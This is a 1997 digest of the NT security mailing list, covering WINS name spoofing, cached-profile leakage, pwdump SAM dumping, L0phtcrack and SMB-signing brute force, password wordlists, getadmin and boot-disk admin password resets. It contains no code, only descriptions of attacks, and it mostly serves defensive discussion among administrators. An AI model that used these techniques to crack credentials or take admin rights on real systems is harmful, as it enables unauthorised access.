users, etc. Its an excellent program. The only drawback is that it does
not run as a service. The program is VERY inexpensive (around $30)
>
> Check out www.cat-soft.com for more information....
>
>Charlie
>
>-----Original Message-----
>From: Joshua Soliz [SMTP:jsoliz@dpai.com]
>Sent: Wednesday, July 16, 1997 8:23 AM
>To: 'ntsecurity@iss.net'
>Subject: RE: [NTSEC] Secure FTP
>
>There is a way to configure NT's built in ftp server to drop you in a
>users home directory. THere is a white paper on MS's website...
>
>-----------------------------------------------------------
>Joshua J. Soliz,MCSE
>jsoliz@dpai.com
>Network Consultant
>DeCarlo, Paternite, And Associates, Inc.
>
>
>
>>-----Original Message-----
>>From: Martin Declan Kelly [SMTP:declan@teleport.com]
>>Sent: Tuesday, July 15, 1997 7:16 PM
>>To: ntsecurity@iss.net
>>Subject: [NTSEC] Secure FTP
>>
>>A while ago someone mentioned a more secure NT FTP server that you could
>>configure to drop a user into their home directory rather than IIS's
>>"ftproot" but I can't for the life of me remember what it was called... any
>>takers?
>>
>>Martin
>>
>>________________________________________________________________________
>>T E L E P O R T W E B M A S T E R
>>
>>Teleport Internet Services | 319 SE Washington #305 | Portland, OR 97204
>>Phone (503) 223-0076 | Fax (503) 223-4372 | Email webmaster@teleport.com
>>
>>
>
>
>


============================================================================
====
Eric Germann Computer and Communications Technologies
ekgermann@cctec.com Van Wert, OH 45891
 Phone: 419 968 2640
http://www.cctec.com Fax: 419 968 2641

Network Design, Connectivity & System Integration Services 
A Microsoft Solution Provider 
Christopher.Padilla@entex.com wrote:
> 
> 
> NT friends,
> 
> I am looking for a way to use the NET commands to provide me with
> security for a \\SERVER or a /DOMAIN. If you have the magic key
> sequences please forward them to me.
> 
> Thanks,
> Chris

One way to add security to a windows domain is too add a SCOPE ID for
the domain. Any computer on the domain will not respond unless you
specify a scope id with it.

Aymeric.
w.wessels@cc.ruu.nl wrote:

> Suppose a subnet with some hosts configured without using WINS. (A)
> Suppose another subnet with some hosts configured with and without
> WINS. (B)
> Subnet A and B can communicate to eachoter.

okay. How many WINS servers? is your question security related?

> A host on subnet A asks for a new computername, it choosses a name
> that is
> also in use at subnet B. Hosts on subnet a will let allow the host to
> take this name because no hosts carry the requested name.

A properly configured WINS server/network (proxy agents) will check any
name that another computer (different IP address) is attempting to use.
the check that WINS makes should prevent duplicate names in the
database. however, if there are workstations on the network (netbios)
and they are not configured to use WINS and there are no proxy agents,
then WINS will allow that computer to register in the database.

NET USE is a NETBIOS command and uses a different system (called
browsing) to access shared resources through the server service.

i still don't understand your question: is it security related?

>
>
> Wouter.

 boris

What I try to say is that there can be a situation where two machines
carries the same name.
When you try to reach a machine and use the name, you can be connected to
another host then you think you are connected to.

If this is off topic, dont reply and let the flow go.

Wouter.
--------
At 09:20 16-07-97 -0500, Michael A. Syiek wrote:
>w.wessels@cc.ruu.nl wrote:
>
>> Suppose a subnet with some hosts configured without using WINS. (A)
>> Suppose another subnet with some hosts configured with and without
>> WINS. (B)
>> Subnet A and B can communicate to eachoter.
>
>okay. How many WINS servers? is your question security related?
>
>> A host on subnet A asks for a new computername, it choosses a name
>> that is
>> also in use at subnet B. Hosts on subnet a will let allow the host to
>> take this name because no hosts carry the requested name.
>
>A properly configured WINS server/network (proxy agents) will check any
>name that another computer (different IP address) is attempting to use.
>the check that WINS makes should prevent duplicate names in the
>database. however, if there are workstations on the network (netbios)
>and they are not configured to use WINS and there are no proxy agents,
>then WINS will allow that computer to register in the database.
>
>NET USE is a NETBIOS command and uses a different system (called
>browsing) to access shared resources through the server service.
>
>i still don't understand your question: is it security related?
>
>>
>>
>> Wouter.
>
> boris
>
>
>
>

w.wessels@cc.ruu.nl wrote:

> What I try to say is that there can be a situation where two machines
> carries the same name.
> When you try to reach a machine and use the name, you can be connected
> to
> another host then you think you are connected to.

based on the question that you are wondering if someone can spoof a
computer using a NETBIOS name if your network is set up to use WINS.
good question. interesting thought if you phrase it that way.

possibly. but one would have to more about the network structure in
order to give a good answer. if you are using WINS, how is the server
or servers configured? push/pull partners?
replication/extinction/purge time frames? proxy agents? the non-wins
machines, what are they? since you are implying netbios, they have to
be using broadcast for name resolution unless they are configured in
DNS. is there DNS on the network? are you using DHCP for TCP/IP? what
version NT? 3.51/4.0?

answers to all these would affect my answer to you.

boris


> If this is off topic, dont reply and let the flow go.

answered.

> Wouter.
> --------
> At 09:20 16-07-97 -0500, Michael A. Syiek wrote:
> >w.wessels@cc.ruu.nl wrote:
> >
> >> Suppose a subnet with some hosts configured without using WINS. (A)
>
> >> Suppose another subnet with some hosts configured with and without
> >> WINS. (B)
> >> Subnet A and B can communicate to eachoter.
> >
> >okay. How many WINS servers? is your question security related?
> >
> >> A host on subnet A asks for a new computername, it choosses a name
> >> that is
> >> also in use at subnet B. Hosts on subnet a will let allow the host
> to
> >> take this name because no hosts carry the requested name.
> >
> >A properly configured WINS server/network (proxy agents) will check
> any
> >name that another computer (different IP address) is attempting to
> use.
> >the check that WINS makes should prevent duplicate names in the
> >database. however, if there are workstations on the network
> (netbios)
> >and they are not configured to use WINS and there are no proxy
> agents,
> >then WINS will allow that computer to register in the database.
> >
> >NET USE is a NETBIOS command and uses a different system (called
> >browsing) to access shared resources through the server service.
> >
> >i still don't understand your question: is it security related?
> >
> >>
> >>
> >> Wouter.
> >
> > boris
> >
> >
> >
> >



Whilst playing around with things today I have experienced something a 
little wierd and worrying. Whilst setting up dummy users on a server the 
profile becomes lets say, \\fred\profiles\007 and home dirs in 
\\fred\profiles\007\personal

You now log onto a client that pulls down the relevant files and builds 
your envionment. So far so good. However the profile is cached locally on 
the client. Files are not updated until the end of the session when all 
info is passed back to the server. Sometimes they are updated as is but 
other not. Anyway, problem is that the cached profile is not removed at the 
end of a session.

So scenario is as follows.

Disgruntled employee has been fired.In his home dirs he has some infomation 
of great value to the company and himself. He want it off for his next 
company.

He pulls out the ethernet cable, and proceeds to login. The authentication 
process cant find the primary domain controller so asks if you want to use 
the locally cached profile. Chances are it contains your home dirs (yeah 
maybe old but still information).

Even worse he bombs the PDC and forces a user to logon to a workstaion. 
Later he logs on with his users account and runs getadmin.exe (yeah 
pre-fix) and can look at someone elses information. um.................

Any solutions ? There must be a method to stop caching profiles (registry 
entries).

Can anyone explain the true ins and outrs of the \007.000, 007.001 etc. I.E 
if I log onto two machines how does the profile on the server get updated. 
Which one is used to append the file ?

Regards,


Mark Curphey

>have used it..requires a lot or processor oomph for brute force. Pulls
>the SAM down form any machine easily though...net Admin privillages
>though.
>

I've had varying luck getting this crack to run. I'm looking for some 
documentation on pwdump.exe - does this have to be run on the local 
machine, or can it pull the SAM from network machines?

Run locally, I can only get 1 out of our 4 NT machines to actually dump 
the SAM, and none to dump via network connection. I'm trying to figure 
out why all the machines (same SP and hotfixes) don't act similarly.



Doug Roberts
dougr@headspace.com
I have an 9MB dictionary file but you can put together an even larger
one. Check out the following site for many dictionary options:
 ftp.ox.ac.uk/pub/wordlists
You just need to select what ever modules you want to use and splice
them together. I believe I started with a base dictionary from a UNIX
crack version 5.0 and then added on one or two modules from the above
site that looked like they may give me a few more hits at my site. I
would suggest you look for a copy of the UNIX version of crack to get a
good base dictionary that should be several times larger than the one
you are currently using.

Good luck,

Tom Schipper
schipper@CEMML.ColoState.EDU


Jose A. Palacio wrote:
> 
> SMB signing in NT 4.0 SP3 is vulnerable to a brute force attack... In
> fact after seeing the new version of L0phtcrack 1.5 .. I read in the
> docs it can defeat it to get account info for cracking via "sniff"
> files
> you can create for it with your own sniffer.. So then what
> alternatives
> do you have to running SMB? .. Anyone?...
> 
> P.S. I have a killer dictionary file for l0phtcrack I created myself
> ..
> over 200K.. If anyone wants it I'll attach it .. just drop me a note..
> If someone else has a larger and/or fairly good dictionary file for it
> I
> would truly appreciate a copy of it.. Thanks..
> --
> 
> <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
> Q: How many consultants does it take to screw in a lightbulb?
> A: One. He just holds the lightbulb while the earth revolves around
> him.
> 
> >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
> 
> ________________________________________________________________________
> 
> Jose A. Palacio
> Sr. Consultant
> Internet Security Specialist
> Grant Thornton LLP
> E-Mail: webmaster@istn.net
> www: http://jose.istn.net/
> 
> ________________________________________________________________________
> 
> - -----BEGIN SPAM WARNING-----
> 
> WARNING: ANYONE SENDING UNREQUESTED ADVERTISEMENT
> VIA EMAIL WILL BE ADDED TO A FILTER LIST.
> I WILL ALSO BE PERSONALLY OFFENDED.. HE HE HE..
> WHO KNOWS WHAT I MIGHT DO IF I AM OFFENDED?!!
> PLEASE REFRAIN FROM SENDING JUNK E-MAIL (SPAM).
> THIS E-MAIL ADDRESS IS NOT TO BE ADDED TO A MASS
> EMAIL LIST.
> 
> - -----END SPAM WARNING----
> 
> ntsecurity-digest wrote:
> 
> > ntsecurity-digest Wednesday, July 16 1997 Volume 02 :
> > Number 588
> >
> > [To unsubscribe from this list send the message "unsubscribe
> > ntsecurity-digest"
> > in the BODY of a mail message to majordomo@iss.net. Do NOT send
> > majordomo
> > requests to the mailing list.]
> >
> >
> ----------------------------------------------------------------------
> >
> > Date: Tue, 15 Jul 1997 09:50:32 +0200
> > From: Frank Heyne 
> > Subject: [NTSEC] Change Audit List from command line?
> >
> > There is a command line tool cacls to change the ACL's throughout a
> > directory tree.
> >
> > Is there a command line tool to do the same with the audit policy,
> > for instance with all *.exe on a drive?
> >
> > Greetings
> >
> > Frank Heyne
> > http://rcswww.urz.tu-dresden.de/~fh/
> >
> > ------------------------------
> >
> > Date: Tue, 15 Jul 1997 10:22:56 +0000 (GMT)
> > From: Andreas Kostyrka 
> > Subject: Re: [NTSEC] Check This Out!!!!!!!!!!!1
> >
> > - -----BEGIN PGP SIGNED MESSAGE-----
> >
> > On Mon, 14 Jul 1997, David LeBlanc wrote:
> > > There is ENTIRELY too much noise on this list, and I do NOT want
> it
> > to
> > > devolve into a discussion of whether MS can, should, or is going
> to
> > conquer
> > > the rest of the known universe.
> > >
> > > PLEASE limit discussions to SECURITY related items.
> > This is longterm security. Business practices of your core
> technology
> > deliverer should be a concern, especially with not open property
> > solution because there is no alternative as there is with for
> example
> > UNIX.
> >
> > Andreas
> >
> > - -----BEGIN PGP SIGNATURE-----
> > Version: 2.6.3i
> > Charset: noconv
> >
> > iQEVAwUBM8tPg1GrPWwMHrE1AQFTrwf9F9wsOoFCSupGiH4JHYrI4sLlLrcHySo/
> > iGs5g9JUeaOMezLNf2x723wAbYA5XnnPviEZ1wGAkhNrPNjCltSTFw/AgJywrsPF
> > GTM0Ifs9IZeNebkNul5zz74vXbLotPhr+7Rck92nWLObYbyboeiJxWxtKKxUr9EL
> > FacCOY74k2xM3CG1REp1nAJLmER01mnwcd5XULxQUGNRZK9E89K3IkmGjLwvSzNA
> > JooVnV3wgppO2kNLBacvDhbBpmsLJzi2roYA7m/MEkjNxLquaXDymy/TrEIZpQpS
> > WNrSdyXDWMCiTcR7Da6wfFCayttK2rPlSsv7C1LQLIAHenMvNAdErA==
> > =bTn2
> > - -----END PGP SIGNATURE-----
> >
> > ------------------------------
> >
> > Date: Tue, 15 Jul 1997 08:05:24 -0400
> > From: abolin@email.mcc.edu
> > Subject: Re: [NTSEC] Seems To Me...
> >
> > Why is it so difficult to adhere to the rules of the mailing list?
> As
> >
> > dleblanc has repeatedly stated, the mailing list is for security
> > matters,
> > not flaming or personal opinions about the new MS World Order! He
> has
> >
> > recommended alternative mailing lists for those matters. Follow the
> > rules
> > or move on so the rest of us who do follow the rules are not
> subjected
> > to
> > mailboxes full of others' personal opinions.
> >
> > brandyjc@donet.com on 07/14/97 11:12:12 PM
> >
> > Please respond to brandyjc@donet.com
> >
> > To: ntsecurity@iss.net
> > cc: (bcc: Andy S Bolin/Mott)
> > Subject: [NTSEC] Seems To Me...
> >
> > It seems to me that at least as many bytes (if not more) are devoted
> > to
> > requests to stay on topic as are actually off topic. Just a
> thought.
> > Enjoying the list and learning a lot myself.
> > John
> >
> > ------------------------------
> >
> > Date: Tue, 15 Jul 1997 08:04:26 -0400
> > From: David LeBlanc 
> > Subject: Re: [NTSEC] Check This Out!!!!!!!!!!!1
> >
> > At 10:22 7/15/97 +0000, Andreas Kostyrka wrote:
> > >-----BEGIN PGP SIGNED MESSAGE-----
> > >
> > >On Mon, 14 Jul 1997, David LeBlanc wrote:
> >
> > >> PLEASE limit discussions to SECURITY related items.
> >
> > >This is longterm security. Business practices of your core
> technology
> >
> > >deliverer should be a concern, especially with not open property
> > >solution because there is no alternative as there is with for
> example
> >
> > >UNIX.
> >
> > The business practices of any vendor are NOT a proper topic for this
> > list.
> > It is an emotionally charged issue, and leads to nothing but
> > flame-wars.
> > The people who subscribe to this list depend on it for security
> > related
> > information, some of which is time-critical. It may be a proper
> > concern,
> > but PLEASE discuss it somewhere else. There are a number of USENET
> > forums
> > which are quite adequate and deal with that topic constantly. It
> > usually
> > boils down to "They are the evil empire", "Are not", "Are too"
> (repeat
> > last
> > 2 until blue in face).
> >
> > If it doesn't directly have to do with maintaining information
> > security on
> > Windows NT, please post it elsewhere. We do not have time to
> moderate
> > the
> > list, but have been forced to do so in the past when flame-wars have
> > broken
> > out. I'd rather not see a repeat of that. I'm asking everyone to
> > _please_
> > be considerate of others and limit your posts to issues directly
> > related to
> > security - we've all got quite full mailboxes, and frankly, the less
> > junk I
> > have to wade through to find the important information the happier I
> > am.
> >
> > - -----------------------------------------------------------
> > David LeBlanc | Voice: (770)395-0150 x138
> > Internet Security Systems, Inc. | Fax: (404)395-1972
> > 41 Perimeter Center East | E-Mail: dleblanc@iss.net
> > Suite 660 | www: http://www.iss.net/
> > Atlanta, GA 30328 |
> >
> > ------------------------------
> >
> > Date: Tue, 15 Jul 1997 14:44:18 +0100
> > From: acr@als.co.uk (Alan C. Ramsbottom)
> > Subject: [NTSEC] MS Proxy 2 Beta
> >
> > This is now available from the MS proxy page:
> >
> > http://www.microsoft.com/proxy
> >
> > There are lot's of new features such as dynamic packet filtering and
> > real-time
> > alerts. A key point of interest is that the previous version (1.0)
> > explicitly
> > stated it was *not* a firewall, whereas Version 2 is now being
> pitched
> > as "The
> > First Integrated Content Cache and Firewall Server for Windows NT
> > Server 4.0".
> >
> > - --Alan--
> > acr@als.co.uk
> >
> > ------------------------------
> >
> > Date: Sun, 15 Jun 1997 15:26:16 +0100
> > From: Comms_Server 
> > Subject: [NTSEC] Getadmin
> >
> > Here's yet another question about getadmin :
> >
> > Is it possible to run the getadmin.exe in windows 95 and get it to
> > work
> > properly if the NT dll's it needs were copied into the
> > c:\windows\system
> > directory?
> >
> > If so, is there a patch available that will allow me to protect
> myself
> >
> > against this attack?
> >
> > Also, another quick question...Does anyone have CGI script or some
> > other
> > form of net source that will allow me to have a private page on my
> > site
> > that users can logon through..
> >
> > I.e. users will be able to access their own directories over the
> net.
> > How open to attack will this leave me. (I am planning to disable
> > logons
> > from administrator, setup, etc. Just bog standard users will have
> > access
> > to logon.
> >
> > thanks
> > Misha
> >
> > ------------------------------
> >
> > Date: Tue, 15 Jul 1997 11:52:57 -0400 (EDT)
> > From: "John \"E.R.\" Jasen" 
> > Subject: Re: [NTSEC] Check This Out!!!!!!!!!!!1
> >
> > > This is longterm security. Business practices of your core
> > technology
> > > deliverer should be a concern, especially with not open property
> > > solution because there is no alternative as there is with for
> > example
> > > UNIX.
> >
> > No, the technology as related to security or the business as related
> > to
> > security. Example: Microsoft releasing a new browser with
> > whizzy-fizz-bang
> > v2.6 is not news. Microsoft releasing a statement stating: "We're
> > insecure
> > and PROUD!" is.
> >
> > - --
> > "What do you want?" -- Mr. Morden, Microsoft Sales VP
> >
> > - -- John E. Jasen // Systems Alchemist \\ jjasen1@umbc.edu --
> > - -- My views are not those of UMBC, AFAIK. HTH. HAND. --
> >
> > ------------------------------
> >
> > Date: Tue, 15 Jul 1997 10:02:20 -0700
> > From: David Trulli 
> > Subject: RE: [NTSEC] MS Proxy 2 Beta
> >
> > As people try the proxy 2.0 beta I would like to hear your feedback
> > on
> > how you like the new security features.
> >
> > Dave
> >
> > > -----Original Message-----
> > > From: acr@als.co.uk [SMTP:acr@als.co.uk]
> > > Sent: Tuesday, July 15, 1997 9:44 AM
> > > To: ntsecurity@iss.net; NTBUGTRAQ@RC.ON.CA
> > > Subject: [NTSEC] MS Proxy 2 Beta
> > >
> > > This is now available from the MS proxy page:
> > >
> > > http://www.microsoft.com/proxy
> > >
> > > There are lot's of new features such as dynamic packet filtering
> and
> >
> > > real-time
> > > alerts. A key point of interest is that the previous version (1.0)
> > > explicitly
> > > stated it was *not* a firewall, whereas Version 2 is now being
> > pitched
> > > as "The
> > > First Integrated Content Cache and Firewall Server for Windows NT
> > > Server 4.0".
> > >
> > > --Alan--
> > > acr@als.co.uk
> > >
> >
> > ------------------------------
> >
> > Date: Tue, 15 Jul 1997 14:47:13 GMT
> > From: "Dieter Spaar" 
> > Subject: Re: [NTSEC] Boot Disk password changer
> >
> > In article you write:
> > >
> > > I was able to use the utility with SP3 so long as Syskey wasn't
> > installed.
> > >
> > > -luke
> > >
> > > >The utility doens't work with SP3 ...
> >
> > Of course there are other bootdisk tools to replace the admin
> password
> >
> > that even work if system key security has been turned on.
> >
> > One of them is NTAccess but it is not free. More info is availabel
> at
> > www.mirider.com.
> >
> > Best regards,
> > Dieter
> > - --
> > Dieter Spaar, Germany
> > spaar@mirider.augusta.de
> > If address above fails: spaar@mirider.com
> >
> > *** Replace Windows NT admin password: http://www.mirider.com
> ***
> >
> > ------------------------------
> >
> > Date: Tue, 15 Jul 1997 18:51:39 +0100
> > From: acr@als.co.uk (Alan C. Ramsbottom)
> > Subject: Re: [NTSEC] new post SP3 hotfix: lm-fix
> >
> > On 14 Jul 97 at 0:37, Alan C. Ramsbottom wrote:
> >
> > > The presence of the LanMan authentication data negates much of the
> > > effect of using a 'strong' password, and by removing it from the
> > > challenge/response, a brute-force attack will typically take much
> > > longer.
> >
> > A little more detail is called for; by "much" I really meant several
> > orders
> > of magnitude longer e.g. in order to get the password equivalent NT
> > OWF for a
> > strong password, it would take an average of about two thousand
> years
> > (assuming a relatively generous "crack rate" of one million attempts
> > per
> > second on a typical high-end desktop machine).
> >
> > > PS: Could some NT device driver/kernel guru please explain "ring
> 0"?
> >
> > PS: Many thanks to everyone who sent me some very good explanations
> > privately. Although I knew about the kernel/user mode concepts, I'd
> > never heard the term "ring 0" before.
> >
> > Regards,
> >
> > - --Alan--
> > acr@als.co.uk
> >
> > ------------------------------
> >
> > Date: Tue, 15 Jul 1997 12:58:14 -0500
> > From: Mike Adams 
> > Subject: [NTSEC] Steelhead / Proxy 2.0a Question...
> >
> > Does anyone have any feedback or knowledge on using Proxy 2.0 with
> > Steelhead? Can you use proxy with steelhead if you have a ISDN
> modem
> >
> > connected to a NT server as a dial on demand router? In other
> words
> > does
> > Proxy require two NIC cards or will it use the RAS / WAN connection?
> >
> > Any ideas?
> >
> > ------------------------------
> >
> > Date: Tue, 15 Jul 1997 14:07:01 -0400
> > From: "Boyd, Bob" 
> > Subject: [NTSEC] Variable (User Name)
> >
> > I need to pass the variable for user name on to another application.
> > Does anyone have the information concerning what that variable is.
> >
> > Thanks,
> > Bob Boyd
> >
> > Information Security Officer
> > Kentucky Revenue Cabinet
> > Office (502)564-5200 X4492
> > Fax (502)564-9896
> > e-mail BBoyd@ mail.state.ky.us
> >
> > ------------------------------
> >
> > Date: Tue, 15 Jul 1997 14:36:50 -0400 (EDT)
> > From: "John \"E.R.\" Jasen" 
> > Subject: Re: [NTSEC] new post SP3 hotfix: lm-fix
> >
> > One question is: what, if anything, would this do to Samba?
> >
> > - --
> > "What do you want?" -- Mr. Morden, Microsoft Sales VP
> >
> > - -- John E. Jasen // Systems Alchemist \\ jjasen1@umbc.edu --
> > - -- My views are not those of UMBC, AFAIK. HTH. HAND. --
> >
> > ------------------------------
> >
> > Date: Tue, 15 Jul 1997 11:51:09 -0700
> > From: David Trulli 
> > Subject: RE: [NTSEC] Steelhead / Proxy 2.0a Question...
> >
> > Proxy and steelhead complement each other well in that situation.
> You
> > can use the dial on demand to
> > provide the internet access.
> >
> > Dave
> >
> > > -----Original Message-----
> > > From: Mike Adams [SMTP:mikea@netropolis.net]
> > > Sent: Tuesday, July 15, 1997 1:58 PM
> > > To: 'ntsecurity@iss.net'
> > > Subject: [NTSEC] Steelhead / Proxy 2.0a Question...
> > >
> > > Does anyone have any feedback or knowledge on using Proxy 2.0 with
> > > Steelhead? Can you use proxy with steelhead if you have a ISDN
> > modem
> > >
> > > connected to a NT server as a dial on demand router? In other
> > words
> > > does
> > > Proxy require two NIC cards or will it use the RAS / WAN
> connection?
> >
> > >
> > >
> > > Any ideas?
> >
> > ------------------------------
> >
> > Date: Wed, 16 Jul 1997 03:02:10 -0000
> > From: petar@escape.net.au (Petar Nikolich)
> > Subject: Re: [NTSEC] Steelhead / Proxy 2.0a Question...
> >
> > If you ferret through the docs you will find that the answer is -
> YES.
> >
> > There just need to be "TWO" networks. It doesn't matter what devices
> > each network is connected on, as long as RAS + Routing can find
> driver
> >
> > support for them. Proxy 2 is designed to cooperate with R&R
> services.
> > Again, its in the docs - errr dare I say - rtfm
> >
> > The security aspect seems much improved, well at least a lot more
> > options.
> >
> > - ----------
> > From: Mike Adams 
> > To: 'ntsecurity@iss.net'
> > Subject: [NTSEC] Steelhead / Proxy 2.0a Question...
> > Date: Wednesday, July 16, 1997 1:58 AM
> >
> > Does anyone have any feedback or knowledge on using Proxy 2.0 with
> > Steelhead? Can you use proxy with steelhead if you have a ISDN
> modem
> >
> > connected to a NT server as a dial on demand router? In other
> words
> > does
> > Proxy require two NIC cards or will it use the RAS / WAN connection?
> >
> > Any ideas?
> >
> > ------------------------------
> >
> > Date: Tue, 15 Jul 1997 15:45:09 -0400
> > From: Eric Germann 
> > Subject: Re: [NTSEC] Variable (User Name)
> >
> > Hmmm, well if I go to a command prompt and type SET to dump them I
> get
> > ....
> >
> > USERNAME=xxxxxx
> >
> > At 02:07 PM 7/15/97 -0400, Boyd, Bob wrote:
> > >I need to pass the variable for user name on to another
> application.
> > >Does anyone have the information concerning what that variable is.
> > >
> > >
> > >Thanks,
> > >Bob Boyd
> > >
> > >Information Security Officer
> > >Kentucky Revenue Cabinet
> > >Office (502)564-5200 X4492
> > >Fax (502)564-9896
> > >e-mail BBoyd@ mail.state.ky.us
> > >
> > >
> > >
> >
> > =
> >
> ==========================================================================
> >
> > ====
> > Eric Germann Computer and Communications
> > Technologies
> > ekgermann@cctec.com Van Wert, OH 45891
> > Phone: 419 968 2640
> > http://www.cctec.com Fax: 419 968 2641
> >
> > Network Design, Connectivity & System Integration Services
> > A Microsoft Solution Provider
> >
> > ------------------------------
> >
> > Date: Tue, 15 Jul 1997 14:52:11 -0600
> > From: "Frank Knobbe" 
> > Subject: RE: [NTSEC] MS Proxy 2 Beta
> >
> > - -----BEGIN PGP SIGNED MESSAGE-----
> >
> > On 15 Jul 97 at 10:02, David Trulli wrote about: RE: [NTSEC] MS
> > Proxy
> > 2 Beta
> >
> > > As people try the proxy 2.0 beta I would like to hear your
> > feedback
> > > on how you like the new security features.
> >
> > I think we all would like to hear about the improved security of
> Proxy
> >
> > 2.0. I hope results will be posted to this list...
> >
> > Frank
> >
> > - -----BEGIN PGP SIGNATURE-----
> > Version: 2.6.2
> >
> > iQCVAwUBM8vUacZP3ocmY5AlAQHQhwQAyOdO8Fw5QFsbZTFHGibgTDY9PT8tCNAp
> > IJXC1SidP+w6vGaCpovIrZFtXYSwUSV15nlcNQneB8Z1hwCYa4igmPUq3ivD2+R3
> > laCqVo+Roa0hg26Z3NhGjf1BiV9VMF3972V+LIe7AuLEo9sFbJ32K8CB25OnvBkN
> > JQ/PzhiPJFs=
> > =nMvo
> > - -----END PGP SIGNATURE-----
> > - -----BEGIN SPAM WARNING-----
> >
> > WARNING: ANYONE SENDING UNREQUESTED ADVERTISEMENT
> > VIA EMAIL WILL BE ADDED TO A FILTER LIST, WHICH WILL
> > AUTOMATICALLY DELETE EVERY MAIL FROM THE SENDER.
> > THIS WILL DISABLE FURTHER CORRESPONDENCE.
> > PLEASE REFRAIN FROM SENDING JUNK E-MAIL (SPAM).
> > THIS E-MAIL ADDRESS IS NOT TO BE ADDED TO A MASS
> > EMAIL LIST.
> >
> > - -----END SPAM WARNING-----
> >
> > ------------------------------
> >
> > Date: Tue, 15 Jul 1997 19:19:10 -0400
> > From: 0x486578 <486578@ilinks.net>
> > Subject: [NTSEC] [Fwd: L0phtcrack 1.5]
> >
> > Received: from brimstone.netspace.org (brimstone.netspace.org
> > [128.148.157.143]) by serv2.ilinks.net (8.8.5/8.6.12) with ESMTP id
> > QAA19644; Tue, 15 Jul 1997 16:13:15 -0400 (EDT)
> > Received: from unknown@netspace.org (port 6919 [128.148.157.6]) by
> > brimstone.netspace.org with ESMTP id <35424-19870>; Tue, 15 Jul 1997
> > 15:53:59 -0400
> > Received: from NETSPACE.ORG by NETSPACE.ORG (LISTSERV-TCP/IP release
> > 1.8c) with
> > spool id 4374554 for BUGTRAQ@NETSPACE.ORG; Tue, 15 Jul
> 1997
> > 15:46:02
> > -0400
> > Received: from l0pht.com (l0pht.com [199.201.145.1]) by netspace.org
> > (8.8.5/8.8.2) with ESMTP id PAA28578 for
> > ; Tue,
> > 15 Jul 1997 15:45:53 -0400
> > Received: from localhost (mudge@localhost) by l0pht.com
> (8.8.5/8.8.4)
> > with SMTP
> > id PAA01961 for ; Tue, 15 Jul 1997
> > 15:48:53
> > -0400
> > MIME-Version: 1.0
> > Approved-By: Who cares what the hell goes into a Gecos field
> anyway!
> > 
> > Message-ID: 
> > Date: Tue, 15 Jul 1997 15:48:52 -0400
> > Illegal-Object: Syntax error in Reply-To: address found on
> > brimstone.netspace.org:
> > Reply-To: Who cares what the hell goes into a Gecos
> > field anyway! 
> >
> > ^ ^-missing end
> of
> > address
> > \-extraneous tokens in address
> > Sender: Bugtraq List 
> > Illegal-Object: Syntax error in From: address found on
> > brimstone.netspace.org:
> > From: Who cares what the hell goes into a Gecos field
> > anyway! 
> > ^
> > ^-illegal special character in phrase
> > \-extraneous tokens in mailbox
> > Subject: L0phtcrack 1.5
> > From: 
> > To: BUGTRAQ@NETSPACE.ORG
> > Content-Type: TEXT/PLAIN; charset=US-ASCII
> > 
> >
> > Greets everyone,
> >
> > A couple of things that I haven't changed in the below announcement
> > since
> > weld was kind enough to do it while I was at DefCon.
> >
> > 1) Microsoft now has a "fix" based upon this information - we will
> see
> > if
> > they provide proper credit. Though I know of no sites that would be
> > able
> > to widely deploy this patch.
> >
> > 2) SMB signing (ie SP3) can be broken in the same way that we attack
> > the
> > "challenge-response".
> >
> > 3) the times posted below are for intel. The UltraSparc times are
> much
> >
> > much faster.
> >
> > 4) The Challenge response is just as 'brute-force'-able as without
> > this
> > extra 'obfuscation' level.
> >
> > Full program including source and binaries
> > can be found at:
> >
> > http://www.l0pht.com
> >
> > COMMERCIAL AND GOVERNMENT USERS PLEASE SEE THE END
> > OF THIS FILE FOR LICENSING INFORMATION. FOR YOU THIS
> > PROGRAM IS SHAREWARE, FOR ALL OTHERS IT IS FREE.
> >
> > ------------------------------
> >
> > Date: Wed, 16 Jul 1997 00:36:23 +0000 (GMT)
> > From: Andreas Kostyrka 
> > Subject: Re: [NTSEC] Getadmin
> >
> > - -----BEGIN PGP SIGNED MESSAGE-----
> >
> > On Sun, 15 Jun 1997, Comms_Server wrote:
> >
> > > Here's yet another question about getadmin :
> > >
> > > Is it possible to run the getadmin.exe in windows 95 and get it to
> > work
> > > properly if the NT dll's it needs were copied into the
> > c:\windows\system
> > > directory?
> > Since when does Win95 have a notion of Admin? (It may have one in a
> > domain, but this applies to the NT boxes, not the Win95 ones,
> right?)
> >
> > Andreas
> >
> > - -----BEGIN PGP SIGNATURE-----
> > Version: 2.6.3i
> > Charset: noconv
> >
> > iQEVAwUBM8wXiVGrPWwMHrE1AQEKvQf9EaUmkO70EySs3Ja9hQ64Brk3oSUBFAaf
> > p+bbiV5HtlldgwwYc/cTbmWySfCnAn8AZ0ThS9yb3dv/nGZuE7AgYk/KHBqm9HR8
> > TXjnGgJ7xXqFrbVYrp8DpGT82D36yZUZF/7jrKraSTtdahux8E++2rCndSsEeg8+
> > pLIUdjGuQ/FKeQX4skwC6wPcgqcPjaxTWojulZY/Ru2Sw8eWdKHdyGetMTir8uI/
> > RL6+DgrnMiC4dKrr+dSsq7tUio589xUeOevXUcb6ClKA49DkTJElsMHqChTRMQsk
> > uJkMEorB9bBWDekh1emt88NQHCQ4TuEOel+BeqgCmtddQWDCLjrqPA==
> > =zKWM
> > - -----END PGP SIGNATURE-----
> >
> > ------------------------------
> >
> > Date: Tue, 15 Jul 1997 15:16:13 -0800
> > From: Martin Declan Kelly 
> > Subject: [NTSEC] Secure FTP
> >
> > A while ago someone mentioned a more secure NT FTP server that you
> > could
> > configure to drop a user into their home directory rather than IIS's
> > "ftproot" but I can't for the life of me remember what it was
> > called... any
> > takers?
> >
> > Martin
> >
> > ______
> > _________________________________________________________________
> > T E L E P O R T W E B M A S T E
> > R
> >
> > Teleport Internet Services | 319 SE Washington #305 | Portland, OR
> > 97204
> > Phone (503) 223-0076 | Fax (503) 223-4372 | Email
> > webmaster@teleport.com
> >
> > ------------------------------
> >
> > Date: Tue, 15 Jul 1997 13:59:08 -0400
> > From: Christopher.Padilla@entex.com
> > Subject: [NTSEC] NET commands
> >
> >
> > NT friends,
> >
> > I am looking for a way to use the NET commands to provide me
> with
> >
> > security for a \\SERVER or a /DOMAIN. If you have the magic
> key
> > sequences please forward them to me.
> >
> > Thanks,
